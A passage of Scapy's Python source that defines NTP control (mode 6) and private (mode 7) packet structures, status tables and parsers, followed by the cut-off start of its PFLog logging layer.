"CTL_OP_READCLOCK", 5: "CTL_OP_WRITECLOCK", 6: "CTL_OP_SETTRAP", 7: "CTL_OP_ASYNCMSG", 8: "CTL_OP_CONFIGURE", 9: "CTL_OP_SAVECONFIG", 10: "CTL_OP_READ_MRU", 11: "CTL_OP_READ_ORDLIST_A", 12: "CTL_OP_REQ_NONCE", 31: "CTL_OP_UNSETTRAP" } # System status words _system_statuses = { 0: "no warning", 1: "last minute was 61 seconds", 2: "last minute was 59 seconds", 3: "alarm condition (clock not synchronized)" } _clock_sources = { 0: "unspecified or unknown", 1: " Calibrated atomic clock", 2: "VLF (band 4) or LF (band 5) radio", 3: "HF (band 7) radio", 4: "UHF (band 9) satellite", 5: "local net", 6: "UDP/NTP", 7: "UDP/TIME", 8: "eyeball-and-wristwatch", 9: "telephone modem" } _system_event_codes = { 0: "unspecified", 1: "system restart", 2: "system or hardware fault", 3: "system new status word (leap bits or synchronization change)", 4: "system new synchronization source or stratum (sys.peer or sys.stratum change)", # noqa: E501 5: "system clock reset (offset correction exceeds CLOCK.MAX)", 6: "system invalid time or date", 7: "system clock exception", } # Peer status words _peer_statuses = { 0: "configured", 1: "authentication enabled", 2: "authentication okay", 3: "reachability okay", 4: "reserved" } _peer_selection = { 0: "rejected", 1: "passed sanity checks", 2: "passed correctness checks", 3: "passed candidate checks", 4: "passed outlyer checks", 5: "current synchronization source; max distance exceeded", 6: "current synchronization source; max distance okay", 7: "reserved" } _peer_event_codes = { 0: "unspecified", 1: "peer IP error", 2: "peer authentication failure", 3: "peer unreachable", 4: "peer reachable", 5: "peer clock exception", } # Clock status words _clock_statuses = { 0: "clock operating within nominals", 1: "reply timeout", 2: "bad reply format", 3: "hardware or software fault", 4: "propagation failure", 5: "bad date format or value", 6: "bad time format or value" } # Error status words _error_statuses = { 0: "unspecified", 1: "authentication failure", 2: "invalid message length or format", 3: "invalid opcode", 4: "unknown association identifier", 5: "unknown variable name", 6: "invalid variable value", 7: "administratively prohibited" } class NTPSystemStatusPacket(Packet): """ Packet handling the system status fields. """ name = "system status" fields_desc = [ BitEnumField("leap_indicator", 0, 2, _system_statuses), BitEnumField("clock_source", 0, 6, _clock_sources), BitField("system_event_counter", 0, 4), BitEnumField("system_event_code", 0, 4, _system_event_codes), ] def extract_padding(self, s): return b"", s class NTPPeerStatusPacket(Packet): """ Packet handling the peer status fields. """ name = "peer status" fields_desc = [ BitField("configured", 0, 1), BitField("auth_enabled", 0, 1), BitField("authentic", 0, 1), BitField("reachability", 0, 1), BitField("reserved", 0, 1), BitEnumField("peer_sel", 0, 3, _peer_selection), BitField("peer_event_counter", 0, 4), BitEnumField("peer_event_code", 0, 4, _peer_event_codes), ] def extract_padding(self, s): return b"", s class NTPClockStatusPacket(Packet): """ Packet handling the clock status fields. """ name = "clock status" fields_desc = [ BitEnumField("clock_status", 0, 8, _clock_statuses), BitField("code", 0, 8) ] def extract_padding(self, s): return b"", s class NTPErrorStatusPacket(Packet): """ Packet handling the error status fields. """ name = "error status" fields_desc = [ BitEnumField("error_code", 0, 8, _error_statuses), BitField("reserved", 0, 8) ] def extract_padding(self, s): return b"", s class NTPPeerStatusDataPacket(Packet): """ Packet handling the data field when op_code is CTL_OP_READSTAT and the association_id field is null. """ name = "data / peer status" fields_desc = [ ShortField("association_id", 0), PacketField("peer_status", NTPPeerStatusPacket(), NTPPeerStatusPacket), ] def extract_padding(self, s): return b"", s class NTPControlStatusField(PacketField): """ The various types of the "status" field. """ # RFC 9327 sect 3 def m2i(self, pkt, m): association_id = struct.unpack("!H", m[2:4])[0] if pkt.err == 1: return NTPErrorStatusPacket(m) elif pkt.op_code in [4, 5]: # Read/write clock return NTPClockStatusPacket(m) else: if association_id != 0: return NTPPeerStatusPacket(m) else: return NTPSystemStatusPacket(m) class NTPControl(NTP): """ Packet handling NTP mode 6 / "Control" messages. """ deprecated_fields = { "status_word": ("status", "2.6.2"), } # RFC 9327 sect 2 name = "NTP Control message" match_subclass = True fields_desc = [ BitEnumField("leap", 0, 2, _leap_indicator), BitField("version", 2, 3), BitEnumField("mode", 6, 3, _ntp_modes), BitField("response", 0, 1), BitField("err", 0, 1), BitField("more", 0, 1), BitEnumField("op_code", 0, 5, _op_codes), ShortField("sequence", 0), MultipleTypeField( [ ( ShortField("status", 0), lambda pkt: pkt.response == 0 or pkt.op_code in [6, 7] ) ], NTPControlStatusField("status", NTPSystemStatusPacket(), None), ), ShortField("association_id", 0), ShortField("offset", 0), FieldLenField("count", None, length_of="data"), MayEnd( PadField( MultipleTypeField( # RFC 1305 [ ( PacketListField( "data", "", NTPPeerStatusDataPacket, length_from=lambda p: p.count, ), lambda pkt: ( pkt.response and pkt.op_code == 1 and pkt.association_id == 0 ) ), ], StrLenField("data", "", length_from=lambda pkt: pkt.count), ), align=4 ) ), PacketField("authenticator", "", NTPAuthenticator), ] ############################################################################## # Private (mode 7) ############################################################################## _information_error_codes = { 0: "INFO_OKAY", 1: "INFO_ERR_IMPL", 2: "INFO_ERR_REQ", 3: "INFO_ERR_FMT", 4: "INFO_ERR_NODATA", 7: "INFO_ERR_AUTH" } _implementations = { 0: "IMPL_UNIV", 2: "IMPL_XNTPD_OLD", 3: "XNTPD" } _request_codes = { 0: "REQ_PEER_LIST", 1: "REQ_PEER_LIST_SUM", 2: "REQ_PEER_INFO", 3: "REQ_PEER_STATS", 4: "REQ_SYS_INFO", 5: "REQ_SYS_STATS", 6: "REQ_IO_STATS", 7: "REQ_MEM_STATS", 8: "REQ_LOOP_INFO", 9: "REQ_TIMER_STATS", 10: "REQ_CONFIG", 11: "REQ_UNCONFIG", 12: "REQ_SET_SYS_FLAG", 13: "REQ_CLR_SYS_FLAG", 14: "REQ_MONITOR", 15: "REQ_NOMONITOR", 16: "REQ_GET_RESTRICT", 17: "REQ_RESADDFLAGS", 18: "REQ_RESSUBFLAGS", 19: "REQ_UNRESTRICT", 20: "REQ_MON_GETLIST", 21: "REQ_RESET_STATS", 22: "REQ_RESET_PEER", 23: "REQ_REREAD_KEYS", 24: "REQ_DO_DIRTY_HACK", 25: "REQ_DONT_DIRTY_HACK", 26: "REQ_TRUSTKEY", 27: "REQ_UNTRUSTKEY", 28: "REQ_AUTHINFO", 29: "REQ_TRAPS", 30: "REQ_ADD_TRAP", 31: "REQ_CLR_TRAP", 32: "REQ_REQUEST_KEY", 33: "REQ_CONTROL_KEY", 34: "REQ_GET_CTLSTATS", 35: "REQ_GET_LEAPINFO", 36: "REQ_GET_CLOCKINFO", 37: "REQ_SET_CLKFUDGE", 38: "REQ_GET_KERNEL", 39: "REQ_GET_CLKBUGINFO", 41: "REQ_SET_PRECISION", 42: "REQ_MON_GETLIST_1", 43: "REQ_HOSTNAME_ASSOCID", 44: "REQ_IF_STATS", 45: "REQ_IF_RELOAD" } # Flags in the peer information returns _peer_flags = [ "INFO_FLAG_CONFIG", "INFO_FLAG_SYSPEER", "INFO_FLAG_BURST", "INFO_FLAG_REFCLOCK", "INFO_FLAG_PREFER", "INFO_FLAG_AUTHENABLE", "INFO_FLAG_SEL_CANDIDATE", "INFO_FLAG_SHORTLIST", "INFO_FLAG_IBURST" ] # Flags in the system information returns _sys_info_flags = [ "INFO_FLAG_BCLIENT", "INFO_FLAG_AUTHENTICATE", "INFO_FLAG_NTP", "INFO_FLAG_KERNEL", "INFO_FLAG_CAL", "INFO_FLAG_PPS_SYNC", "INFO_FLAG_MONITOR", "INFO_FLAG_FILEGEN", ] class NTPInfoPeerList(Packet): """ Used to return raw lists of peers. """ name = "info_peer_list" fields_desc = [ IPField("addr", "0.0.0.0"), ShortField("port", 0), ByteEnumField("hmode", 0, _ntp_modes), FlagsField("flags", 0, 8, _peer_flags), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("addr6", "::") ] class NTPInfoPeerSummary(Packet): """ Sort of the info that ntpdc returns by default. """ name = "info_peer_summary" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), ByteField("stratum", 0), ByteField("hpoll", 0), ByteField("ppoll", 0), ByteField("reach", 0), FlagsField("flags", 0, 8, _peer_flags), ByteField("hmode", _ntp_modes), FixedPointField("delay", 0, size=32, frac_bits=16), TimeStampField("offset", 0), FixedPointField("dispersion", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::") ] class NTPInfoPeer(Packet): """ Peer information structure. """ name = "info_peer" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), FlagsField("flags", 0, 8, _peer_flags), ByteField("leap", 0), ByteEnumField("hmode", 0, _ntp_modes), ByteField("pmode", 0), ByteField("stratum", 0), ByteField("ppoll", 0), ByteField("hpoll", 0), SignedByteField("precision", 0), ByteField("version", 0), ByteField("unused8", 0), ByteField("reach", 0), ByteField("unreach", 0), XByteField("flash", 0), ByteField("ttl", 0), XLEShortField("flash2", 0), ShortField("associd", 0), LEIntField("keyid", 0), IntField("pkeyid", 0), IPField("refid", 0), IntField("timer", 0), FixedPointField("rootdelay", 0, size=32, frac_bits=16), FixedPointField("rootdispersion", 0, size=32, frac_bits=16), TimeStampField("reftime", 0), TimeStampField("org", 0), TimeStampField("rec", 0), TimeStampField("xmt", 0), FieldListField( "filtdelay", [0.0 for i in range(0, _NTP_SHIFT)], FixedPointField("", 0, size=32, frac_bits=16), count_from=lambda p: _NTP_SHIFT ), FieldListField( "filtoffset", [0.0 for i in range(0, _NTP_SHIFT)], TimeStampField("", 0), count_from=lambda p: _NTP_SHIFT ), FieldListField( "order", [0 for i in range(0, _NTP_SHIFT)], ByteField("", 0), count_from=lambda p: _NTP_SHIFT ), FixedPointField("delay", 0, size=32, frac_bits=16), FixedPointField("dispersion", 0, size=32, frac_bits=16), TimeStampField("offset", 0), FixedPointField("selectdisp", 0, size=32, frac_bits=16), IntField("unused1", 0), IntField("unused2", 0), IntField("unused3", 0), IntField("unused4", 0), IntField("unused5", 0), IntField("unused6", 0), IntField("unused7", 0), FixedPointField("estbdelay", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused9", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::"), ] class NTPInfoPeerStats(Packet): """ Peer statistics structure. """ name = "info_peer_stats" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), FlagsField("flags", 0, 16, _peer_flags), IntField("timereset", 0), IntField("timereceived", 0), IntField("timetosend", 0), IntField("timereachable", 0), IntField("sent", 0), IntField("unused1", 0), IntField("processed", 0), IntField("unused2", 0), IntField("badauth", 0), IntField("bogusorg", 0), IntField("oldpkt", 0), IntField("unused3", 0), IntField("unused4", 0), IntField("seldisp", 0), IntField("selbroken", 0), IntField("unused5", 0), ByteField("candidate", 0), ByteField("unused6", 0), ByteField("unused7", 0), ByteField("unused8", 0), IntField("v6_flag", 0), IntField("unused9", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::"), ] class NTPInfoLoop(Packet): """ Loop filter variables. """ name = "info_loop" fields_desc = [ TimeStampField("last_offset", 0), TimeStampField("drift_comp", 0), IntField("compliance", 0), IntField("watchdog_timer", 0) ] class NTPInfoSys(Packet): """ System info. Mostly the sys.* variables, plus a few unique to the implementation. """ name = "info_sys" fields_desc = [ IPField("peer", "0.0.0.0"), ByteField("peer_mode", 0), ByteField("leap", 0), ByteField("stratum", 0), SignedByteField("precision", 0), FixedPointField("rootdelay", 0, size=32, frac_bits=16), FixedPointField("rootdispersion", 0, size=32, frac_bits=16), IPField("refid", 0), TimeStampField("reftime", 0), IntField("poll", 0), FlagsField("flags", 0, 8, _sys_info_flags), ByteField("unused1", 0), ByteField("unused2", 0), ByteField("unused3", 0), FixedPointField("bdelay", 0, size=32, frac_bits=16), FixedPointField("frequency", 0, size=32, frac_bits=16), TimeStampField("authdelay", 0), FixedPointField("stability", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused4", 0), IP6Field("peer6", "::") ] class NTPInfoSysStats(Packet): """ System stats. These are collected in the protocol module. """ name = "info_sys_stats" fields_desc = [ IntField("timeup", 0), IntField("timereset", 0), IntField("denied", 0), IntField("oldversionpkt", 0), IntField("newversionpkt", 0), IntField("unknownversion", 0), IntField("badlength", 0), IntField("processed", 0), IntField("badauth", 0), IntField("received", 0), IntField("limitrejected", 0) ] class NTPInfoMemStats(Packet): """ Peer memory statistics. """ name = "info_mem_stats" fields_desc = [ IntField("timereset", 0), ShortField("totalpeermem", 0), ShortField("freepeermem", 0), IntField("findpeer_calls", 0), IntField("allocations", 0), IntField("demobilizations", 0), FieldListField( "hashcount", [0.0 for i in range(0, _NTP_HASH_SIZE)], ByteField("", 0), count_from=lambda p: _NTP_HASH_SIZE, max_count=_NTP_HASH_SIZE ) ] class NTPInfoIOStats(Packet): """ I/O statistics. """ name = "info_io_stats" fields_desc = [ IntField("timereset", 0), ShortField("totalrecvbufs", 0), ShortField("freerecvbufs", 0), ShortField("fullrecvbufs", 0), ShortField("lowwater", 0), IntField("dropped", 0), IntField("ignored", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("interrupts", 0), IntField("int_received", 0) ] class NTPInfoTimerStats(Packet): """ Timer stats. """ name = "info_timer_stats" fields_desc = [ IntField("timereset", 0), IntField("alarms", 0), IntField("overflows", 0), IntField("xmtcalls", 0), ] _conf_peer_flags = [ "CONF_FLAG_AUTHENABLE", "CONF_FLAG_PREFER", "CONF_FLAG_BURST", "CONF_FLAG_IBURST", "CONF_FLAG_NOSELECT", "CONF_FLAG_SKEY" ] class NTPConfPeer(Packet): """ Structure for passing peer configuration information. """ name = "conf_peer" fields_desc = [ IPField("peeraddr", "0.0.0.0"), ByteField("hmode", 0), ByteField("version", 0), ByteField("minpoll", 0), ByteField("maxpoll", 0), FlagsField("flags", 0, 8, _conf_peer_flags), ByteField("ttl", 0), ShortField("unused1", 0), IntField("keyid", 0), StrFixedLenField("keystr", "", length=128), IntField("v6_flag", 0), IntField("unused2", 0), IP6Field("peeraddr6", "::") ] class NTPConfUnpeer(Packet): """ Structure for passing peer deletion information. """ name = "conf_unpeer" fields_desc = [ IPField("peeraddr", "0.0.0.0"), IntField("v6_flag", 0), IP6Field("peeraddr6", "::") ] _restrict_flags = [ "RES_IGNORE", "RES_DONTSERVE", "RES_DONTTRUST", "RES_VERSION", "RES_NOPEER", "RES_LIMITED", "RES_NOQUERY", "RES_NOMODIFY", "RES_NOTRAP", "RES_LPTRAP", "RES_KOD", "RES_MSSNTP", "RES_FLAKE", "RES_NOMRULIST", ] class NTPConfRestrict(Packet): """ Structure used for specifying restrict entries. """ name = "conf_restrict" fields_desc = [ IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), FlagsField("flags", 0, 16, _restrict_flags), ShortField("m_flags", 0), IntField("v6_flag", 0), IP6Field("addr6", "::"), IP6Field("mask6", "::") ] class NTPInfoKernel(Packet): """ Structure used for returning kernel pll/PPS information """ name = "info_kernel" fields_desc = [ IntField("offset", 0), IntField("freq", 0), IntField("maxerror", 0), IntField("esterror", 0), ShortField("status", 0), ShortField("shift", 0), IntField("constant", 0), IntField("precision", 0), IntField("tolerance", 0), IntField("ppsfreq", 0), IntField("jitter", 0), IntField("stabil", 0), IntField("jitcnt", 0), IntField("calcnt", 0), IntField("errcnt", 0), IntField("stbcnt", 0), ] class NTPInfoIfStatsIPv4(Packet): """ Interface statistics. """ name = "info_if_stats" fields_desc = [ PadField(IPField("unaddr", "0.0.0.0"), 16, padwith=b"\x00"), PadField(IPField("unbcast", "0.0.0.0"), 16, padwith=b"\x00"), PadField(IPField("unmask", "0.0.0.0"), 16, padwith=b"\x00"), IntField("v6_flag", 0), StrFixedLenField("ifname", "", length=32), IntField("flags", 0), IntField("last_ttl", 0), IntField("num_mcast", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("uptime", 0), IntField("scopeid", 0), IntField("ifindex", 0), IntField("ifnum", 0), IntField("peercnt", 0), ShortField("family", 0), ByteField("ignore_packets", 0), ByteField("action", 0), IntField("_filler0", 0) ] class NTPInfoIfStatsIPv6(Packet): """ Interface statistics. """ name = "info_if_stats" fields_desc = [ IP6Field("unaddr", "::"), IP6Field("unbcast", "::"), IP6Field("unmask", "::"), IntField("v6_flag", 0), StrFixedLenField("ifname", "", length=32), IntField("flags", 0), IntField("last_ttl", 0), IntField("num_mcast", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("uptime", 0), IntField("scopeid", 0), IntField("ifindex", 0), IntField("ifnum", 0), IntField("peercnt", 0), ShortField("family", 0), ByteField("ignore_packets", 0), ByteField("action", 0), IntField("_filler0", 0) ] class NTPInfoMonitor1(Packet): """ Structure used for returning monitor data. """ name = "InfoMonitor1" fields_desc = [ IntField("lasttime", 0), IntField("firsttime", 0), IntField("lastdrop", 0), IntField("count", 0), IPField("addr", "0.0.0.0"), IPField("daddr", "0.0.0.0"), IntField("flags", 0), ShortField("port", 0), ByteField("mode", 0), ByteField("version", 0), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("addr6", "::"), IP6Field("daddr6", "::") ] class NTPInfoAuth(Packet): """ Structure used to return information concerning the authentication module. """ name = "info_auth" fields_desc = [ IntField("timereset", 0), IntField("numkeys", 0), IntField("numfreekeys", 0), IntField("keylookups", 0), IntField("keynotfound", 0), IntField("encryptions", 0), IntField("decryptions", 0), IntField("expired", 0), IntField("keyuncached", 0), ] class NTPConfTrap(Packet): """ Structure used to pass add/clear trap information to the client """ name = "conf_trap" fields_desc = [ IPField("local_address", "0.0.0.0"), IPField("trap_address", "0.0.0.0"), ShortField("trap_port", 0), ShortField("unused", 0), IntField("v6_flag", 0), IP6Field("local_address6", "::"), IP6Field("trap_address6", "::"), ] class NTPInfoControl(Packet): """ Structure used to return statistics from the control module. """ name = "info_control" fields_desc = [ IntField("ctltimereset", 0), IntField("numctlreq", 0), IntField("numctlbadpkts", 0), IntField("numctlresponses", 0), IntField("numctlfrags", 0), IntField("numctlerrors", 0), IntField("numctltooshort", 0), IntField("numctlinputresp", 0), IntField("numctlinputfrag", 0), IntField("numctlinputerr", 0), IntField("numctlbadoffset", 0), IntField("numctlbadversion", 0), IntField("numctldatatooshort", 0), IntField("numctlbadop", 0), IntField("numasyncmsgs", 0), ] # ntp_request.h _ntpd_private_errors = { 0: "no error", 1: "incompatible implementation number", 2: "unimplemented request code", 3: "format error (wrong data items, data size, packet size etc.)", 4: "no data available (e.g. request for details on unknown peer)", 5: "I don\"t know", 6: "I don\"t know", 7: "authentication failure (i.e. permission denied)", } # dict mapping request codes to the right response data class _private_data_objects = { 0: NTPInfoPeerList, # "REQ_PEER_LIST", 1: NTPInfoPeerSummary, # "REQ_PEER_LIST_SUM", 2: NTPInfoPeer, # "REQ_PEER_INFO", 3: NTPInfoPeerStats, # "REQ_PEER_STATS", 4: NTPInfoSys, # "REQ_SYS_INFO", 5: NTPInfoSysStats, # "REQ_SYS_STATS", 6: NTPInfoIOStats, # "REQ_IO_STATS", 7: NTPInfoMemStats, # "REQ_MEM_STATS", 8: NTPInfoLoop, # "REQ_LOOP_INFO", 9: NTPInfoTimerStats, # "REQ_TIMER_STATS", 10: NTPConfPeer, # "REQ_CONFIG", 11: NTPConfUnpeer, # "REQ_UNCONFIG", 28: NTPInfoAuth, # "REQ_AUTHINFO", 30: NTPConfTrap, # "REQ_ADD_TRAP", 34: NTPInfoControl, # "REQ_GET_CTLSTATS", 38: NTPInfoKernel, # "REQ_GET_KERNEL", 42: NTPInfoMonitor1, # "REQ_MON_GETLIST_1", } class NTPPrivateRespPacketListField(PacketListField): """ PacketListField handling the response data. """ def m2i(self, pkt, s): ret = None # info_if_stats if pkt.request_code == 44 or pkt.request_code == 45: is_v6 = struct.unpack("!I", s[48:52])[0] ret = NTPInfoIfStatsIPv6(s) if is_v6 else NTPInfoIfStatsIPv4(s) else: ret = _private_data_objects.get(pkt.request_code, conf.raw_layer)(s) # noqa: E501 return ret def getfield(self, pkt, s): lst = [] remain = s length = pkt.data_item_size if length > 0: item_counter = 0 # Response payloads can be placed in several packets while len(remain) >= pkt.data_item_size and item_counter < pkt.nb_items: # noqa: E501 current = remain[:length] remain = remain[length:] current_packet = self.m2i(pkt, current) lst.append(current_packet) item_counter += 1 return remain, lst class NTPPrivateReqPacket(Packet): """ Packet handling request data. """ name = "request data" fields_desc = [StrField("req_data", "")] _request_codes = { 0: "REQ_PEER_LIST", 1: "REQ_PEER_LIST_SUM", 2: "REQ_PEER_INFO", 3: "REQ_PEER_STATS", 4: "REQ_SYS_INFO", 5: "REQ_SYS_STATS", 6: "REQ_IO_STATS", 7: "REQ_MEM_STATS", 8: "REQ_LOOP_INFO", 9: "REQ_TIMER_STATS", 10: "REQ_CONFIG", 11: "REQ_UNCONFIG", 12: "REQ_SET_SYS_FLAG", 13: "REQ_CLR_SYS_FLAG", 14: "REQ_MONITOR", 15: "REQ_NOMONITOR", 16: "REQ_GET_RESTRICT", 17: "REQ_RESADDFLAGS", 18: "REQ_RESSUBFLAGS", 19: "REQ_UNRESTRICT", 20: "REQ_MON_GETLIST", 21: "REQ_RESET_STATS", 22: "REQ_RESET_PEER", 23: "REQ_REREAD_KEYS", 24: "REQ_DO_DIRTY_HACK", 25: "REQ_DONT_DIRTY_HACK", 26: "REQ_TRUSTKEY", 27: "REQ_UNTRUSTKEY", 28: "REQ_AUTHINFO", 29: "REQ_TRAPS", 30: "REQ_ADD_TRAP", 31: "REQ_CLR_TRAP", 32: "REQ_REQUEST_KEY", 33: "REQ_CONTROL_KEY", 34: "REQ_GET_CTLSTATS", 35: "REQ_GET_LEAPINFO", 36: "REQ_GET_CLOCKINFO", 37: "REQ_SET_CLKFUDGE", 38: "REQ_GET_KERNEL", 39: "REQ_GET_CLKBUGINFO", 41: "REQ_SET_PRECISION", 42: "REQ_MON_GETLIST_1", 43: "REQ_HOSTNAME_ASSOCID", 44: "REQ_IF_STATS", 45: "REQ_IF_RELOAD" } class NTPPrivateReqPacketListField(PacketListField): """ Handles specific request packets. """ # See ntpdc/ntpdc.c and ntpdc/ntpdc_ops.c def m2i(self, pkt, s): ret = None if pkt.request_code == 2 or pkt.request_code == 3: # REQ_PEER_INFO (see ntpdc/ntpdc_ops.c: showpeer()) # REQ_PEER_STATS (for request only) ret = NTPInfoPeerList(s) elif pkt.request_code == 10: # REQ_CONFIG ret = NTPConfPeer(s) elif pkt.request_code == 11: # REQ_CONFIG ret = NTPConfUnpeer(s) elif pkt.request_code == 17: # REQ_RESADDFLAGS ret = NTPConfRestrict(s) elif pkt.request_code == 18: # REQ_RESSUBFLAGS ret = NTPConfRestrict(s) elif pkt.request_code == 22: # REQ_RESET_PEER ret = NTPConfUnpeer(s) elif pkt.request_code == 30 or pkt.request_code == 31: # REQ_ADD_TRAP ret = NTPConfTrap(s) else: ret = NTPPrivateReqPacket(s) return ret def getfield(self, pkt, s): lst = [] remain = s length = pkt.data_item_size if length > 0: item_counter = 0 while len(remain) >= pkt.data_item_size * pkt.nb_items and item_counter < pkt.nb_items: # noqa: E501 current = remain[:length] remain = remain[length:] current_packet = self.m2i(pkt, current) lst.append(current_packet) item_counter += 1 # If "auth" bit is set, don't forget the padding bytes if pkt.auth: padding_end = len(remain) - _NTP_PRIVATE_REQ_PKT_TAIL_LEN current_packet = conf.raw_layer(remain[:padding_end]) lst.append(current_packet) remain = remain[padding_end:] return remain, lst class NTPPrivatePktTail(Packet): """ include/ntp_request.h The req_pkt_tail structure is used by ntpd to adjust for different packet sizes that may arrive. """ name = "req_pkt_tail" fields_desc = [ TimeStampField("tstamp", 0), IntField("key_id", 0), XStrFixedLenField( "dgst", "", length_from=lambda x: _NTP_AUTH_MD5_DGST_SIZE) ] class NTPPrivate(NTP): """ Packet handling the private (mode 7) messages. """ ######################################################################### # ntpd source code: ntp_request.h ######################################################################### # # A mode 7 packet is used exchanging data between an NTP server # and a client for purposes other than time synchronization, e.g. # monitoring, statistics gathering and configuration. A mode 7 # packet has the following format: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |R|M| VN | Mode|A| Sequence | Implementation| Req Code | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Err | Number of data items | MBZ | Size of data item | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Data (Minimum 0 octets, maximum 500 octets) | # | | # [...] | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Encryption Keyid (when A bit set) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Message Authentication Code (when A bit set) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # where the fields are (note that the client sends requests, the server # responses): # # Response Bit: This packet is a response (if clear, packet is a request). # # More Bit: Set for all packets but the last in a response which # requires more than one packet. # # Version Number: 2 for current version # # Mode: Always 7 # # Authenticated bit: If set, this packet is authenticated. # # Sequence number: For a multipacket response, contains the sequence # number of this packet. 0 is the first in the sequence, # 127 (or less) is the last. The More Bit must be set in # all packets but the last. # # Implementation number: The number of the implementation this request code # is defined by. An implementation number of zero is used # for request codes/data formats which all implementations # agree on. Implementation number 255 is reserved (for # extensions, in case we run out). # # Request code: An implementation-specific code which specifies the # operation to be (which has been) performed and/or the # format and semantics of the data included in the packet. # # Err: Must be 0 for a request. For a response, holds an error # code relating to the request. If nonzero, the operation # requested wasn't performed. # # 0 - no error # 1 - incompatible implementation number # 2 - unimplemented request code # 3 - format error (wrong data items, data size, packet size etc.) # noqa: E501 # 4 - no data available (e.g. request for details on unknown peer) # noqa: E501 # 5-6 I don"t know # 7 - authentication failure (i.e. permission denied) # # Number of data items: number of data items in packet. 0 to 500 # # MBZ: A reserved data field, must be zero in requests and responses. # # Size of data item: size of each data item in packet. 0 to 500 # # Data: Variable sized area containing request/response data. For # requests and responses the size in octets must be greater # than or equal to the product of the number of data items # and the size of a data item. For requests the data area # must be exactly 40 octets in length. For responses the # data area may be any length between 0 and 500 octets # inclusive. # # Message Authentication Code: Same as NTP spec, in definition and function. # noqa: E501 # May optionally be included in requests which require # authentication, is never included in responses. # # The version number, mode and keyid have the same function and are # in the same location as a standard NTP packet. The request packet # is the same size as a standard NTP packet to ease receive buffer # management, and to allow the same encryption procedure to be used # both on mode 7 and standard NTP packets. The mac is included when # it is required that a request be authenticated, the keyid should be # zero in requests in which the mac is not included. # # The data format depends on the implementation number/request code pair # and whether the packet is a request or a response. The only requirement # is that data items start in the octet immediately following the size # word and that data items be concatenated without padding between (i.e. # if the data area is larger than data_items*size, all padding is at # the end). Padding is ignored, other than for encryption purposes. # Implementations using encryption might want to include a time stamp # or other data in the request packet padding. The key used for requests # is implementation defined, but key 15 is suggested as a default. ######################################################################### # name = "Private (mode 7)" match_subclass = True fields_desc = [ BitField("response", 0, 1), BitField("more", 0, 1), BitField("version", 2, 3), BitEnumField("mode", 7, 3, _ntp_modes), BitField("auth", 0, 1), BitField("seq", 0, 7), ByteEnumField("implementation", 0, _implementations), ByteEnumField("request_code", 0, _request_codes), BitEnumField("err", 0, 4, _ntpd_private_errors), BitField("nb_items", 0, 12), BitField("mbz", 0, 4), BitField("data_item_size", 0, 12), ConditionalField( NTPPrivateReqPacketListField( "req_data", [], Packet, length_from=lambda p: p.data_item_size, count_from=lambda p: p.nb_items ), lambda p: p.response == 0 ), # Responses ConditionalField( NTPPrivateRespPacketListField( "data", [], Packet, length_from=lambda p: p.data_item_size, count_from=lambda p: p.nb_items ), lambda p: p.response == 1 ), # Responses are not supposed to be authenticated ConditionalField(PacketField("authenticator", "", NTPPrivatePktTail), lambda p: p.response == 0 and p.auth == 1), ] ############################################################################## # Layer bindings ############################################################################## bind_layers(UDP, NTP, {"sport": 123}) bind_layers(UDP, NTP, {"dport": 123}) bind_layers(UDP, NTP, {"sport": 123, "dport": 123}) ================================================ FILE: scapy/layers/pflog.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ PFLog: OpenBSD PF packet filter logging. """ from scapy.data import DLT_PFLOG from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IntField, \ IPField, IP6Field, MultipleTypeField, PadField, ShortField, \ SignedIntField, StrFixedLenField, YesNoByteField from scapy.layers.inet import IP from scapy.config import conf if conf.ipv6_enabled: from scapy.layers.inet6 import IPv6 # from OpenBSD src/sys/sys/socket.h # define AF_INET 2 # define AF_INET6 24 OPENBSD_AF_INET = 2 OPENBSD_AF_INET6 = 24 # from OpenBSD src/sys/net/if_pflog.h # define PFLOG_HDRLEN sizeof(struct pfloghdr) PFLOG_HDRLEN = 100 class PFLog(Packet): """ Class for handling PFLog headers """ name = "PFLog" # from OpenBSD src/sys/net/pfvar.h # and src/sys/net/if_pflog.h (struct pfloghdr) fields_desc = [ByteField("hdrlen", PFLOG_HDRLEN), ByteEnumField("addrfamily", 2, {OPENBSD_AF_INET: "IPv4", OPENBSD_AF_INET6: "IPv6"}), ByteEnumField("action", 1, {0: "pass", 